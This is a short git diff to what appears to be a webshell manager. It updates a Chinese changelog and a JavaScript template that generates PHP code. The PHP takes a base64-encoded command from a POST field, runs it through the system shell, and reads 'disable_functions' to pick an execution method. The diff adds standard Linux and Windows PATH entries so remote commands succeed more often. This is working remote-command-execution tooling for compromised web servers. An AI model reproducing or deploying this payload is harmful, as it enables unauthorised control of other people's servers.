diff --git a/CHANGELOG.md b/CHANGELOG.md index 5da82b03..8441fad2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ ### 核心模块 * 修复 PHP4 命令执行语法错误 #199 (thx @ier005) +* PHP 执行命令模版代码默认加入常见环境变量 (issue from: https://www.t00ls.net/viewthread.php?tid=52205) ### 系统设置 diff --git a/source/core/php/template/command.js b/source/core/php/template/command.js index 2e520ceb..ffb58464 100644 --- a/source/core/php/template/command.js +++ b/source/core/php/template/command.js @@ -8,6 +8,11 @@ module.exports = (arg1, arg2) => ({ $s=base64_decode($_POST["${arg2}"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\""; + if(substr($d,0,1)=="/"){ + @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); + }else{ + @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); + } $r="{$p} {$c}"; function fe($f){ $d=explode(",",@ini_get("disable_functions"));